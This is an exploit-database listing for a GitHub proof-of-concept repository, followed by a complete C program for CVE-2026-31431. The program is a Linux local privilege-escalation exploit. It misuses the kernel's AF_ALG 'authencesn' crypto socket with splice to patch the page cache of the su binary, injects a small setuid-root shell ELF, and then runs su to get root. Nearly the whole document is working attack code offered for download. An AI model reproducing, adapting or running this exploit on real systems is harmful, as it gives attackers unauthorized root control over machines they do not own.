Exploit database

GH-0d16cad751ad737e9e0f6b65a60fb35b

wuwu001/cve-2026-31431-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
wuwu001/cve-2026-31431-exploitRevision bd3ce58e92fd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

copyfail_raw_su_root.c

C · 5,635 bytes
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef SOL_ALG
#define SOL_ALG 279
#endif

#ifndef ALG_SET_AEAD_AUTHSIZE
#define ALG_SET_AEAD_AUTHSIZE 5
#endif

/*
 * Minimal "raw-su-elf" version:
 *   - x86_64 Linux only
 *   - patch /usr/bin/su (or /bin/su) page cache in 4-byte chunks
 *   - immediately exec the patched su to get root
 *
 * This is the direct C translation of the user's Python PoC idea.
 */

static const unsigned char RAW_SU_ELF[] = {
    0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xc0,0x31,0xff,0xb0,0x69,0x0f,0x05,
    0x48,0x8d,0x3d,0x0f,0x00,0x00,0x00,0x31,0xf6,0x6a,0x3b,0x58,0x99,0x0f,0x05,0x31,
    0xff,0x6a,0x3c,0x58,0x0f,0x05,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00
};

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static const char *pick_target(void) {
    if (access("/usr/bin/su", X_OK) == 0) {
        return "/usr/bin/su";
    }
    if (access("/bin/su", X_OK) == 0) {
        return "/bin/su";
    }
    fprintf(stderr, "[-] no su binary found at /usr/bin/su or /bin/su\n");
    exit(1);
}

static void splice_all(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len) {
    size_t done = 0;
    while (done < len) {
        ssize_t r = splice(fd_in, off_in, fd_out, off_out, len - done, 0);
        if (r < 0) {
            die("splice");
        }
        if (r == 0) {
            fprintf(stderr, "[-] splice returned 0 unexpectedly\n");
            exit(1);
        }
        done += (size_t)r;
    }
}

static void patch4(int fd, size_t offset, const unsigned char chunk[4]) {
    int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (tfmfd < 0) {
        die("socket(AF_ALG)");
    }

    struct sockaddr_alg sa;
    memset(&sa, 0, sizeof(sa));
    sa.salg_family = AF_ALG;
    strcpy((char *)sa.salg_type, "aead");
    strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");

    if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        die("bind(AF_ALG)");
    }

    unsigned char key[40] = {
        0x08,0x00,0x01,0x00,0x00,0x00,0x00,0x10
        /* rest are 0 */
    };
    if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) {
        die("setsockopt(ALG_SET_KEY)");
    }

    int authsize = 0;
    if (setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, &authsize, sizeof(authsize)) < 0) {
        die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
    }

    int opfd = accept(tfmfd, NULL, NULL);
    if (opfd < 0) {
        die("accept(AF_ALG)");
    }

    unsigned char payload[8];
    memset(payload, 'A', 4);
    memcpy(payload + 4, chunk, 4);

    unsigned char control[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)];
    memset(control, 0, sizeof(control));

    struct iovec iov;
    iov.iov_base = payload;
    iov.iov_len = sizeof(payload);

    struct msghdr msg;
    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = control;
    msg.msg_controllen = sizeof(control);

    struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_OP;
    cmsg->cmsg_len = CMSG_LEN(4);
    memset(CMSG_DATA(cmsg), 0x00, 4);

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_IV;
    cmsg->cmsg_len = CMSG_LEN(20);
    memset(CMSG_DATA(cmsg), 0x00, 20);
    ((unsigned char *)CMSG_DATA(cmsg))[0] = 0x10; /* ivlen = 16 */

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
    cmsg->cmsg_len = CMSG_LEN(4);
    memset(CMSG_DATA(cmsg), 0x00, 4);
    ((unsigned char *)CMSG_DATA(cmsg))[0] = 0x08; /* assoclen = 8 */

    if (sendmsg(opfd, &msg, MSG_MORE) < 0) {
        die("sendmsg");
    }

    int p[2];
    if (pipe(p) < 0) {
        die("pipe");
    }

    loff_t in_off = 0;
    splice_all(fd, &in_off, p[1], NULL, offset + 4);
    splice_all(p[0], NULL, opfd, NULL, offset + 4);

    unsigned char recvbuf[4096];
    (void)recv(opfd, recvbuf, sizeof(recvbuf), 0);

    close(p[0]);
    close(p[1]);
    close(opfd);
    close(tfmfd);
}

int main(void) {
    const char *target = pick_target();

    if (sizeof(RAW_SU_ELF) % 4 != 0) {
        fprintf(stderr, "[-] payload length is not 4-byte aligned\n");
        return 1;
    }

    printf("[+] target : %s\n", target);
    printf("[+] mode   : raw-su-elf direct root (x86_64 Linux only)\n");
    printf("[+] patch  : %zu bytes in 4-byte chunks\n", sizeof(RAW_SU_ELF));

    int fd = open(target, O_RDONLY);
    if (fd < 0) {
        die("open(target)");
    }

    for (size_t i = 0; i < sizeof(RAW_SU_ELF); i += 4) {
        patch4(fd, i, &RAW_SU_ELF[i]);
    }
    close(fd);

    printf("[+] page-cache patch complete, exec %s now\n", target);
    fflush(stdout);

    execl(target, target, NULL);
    die("execl(target)");
    return 0;
}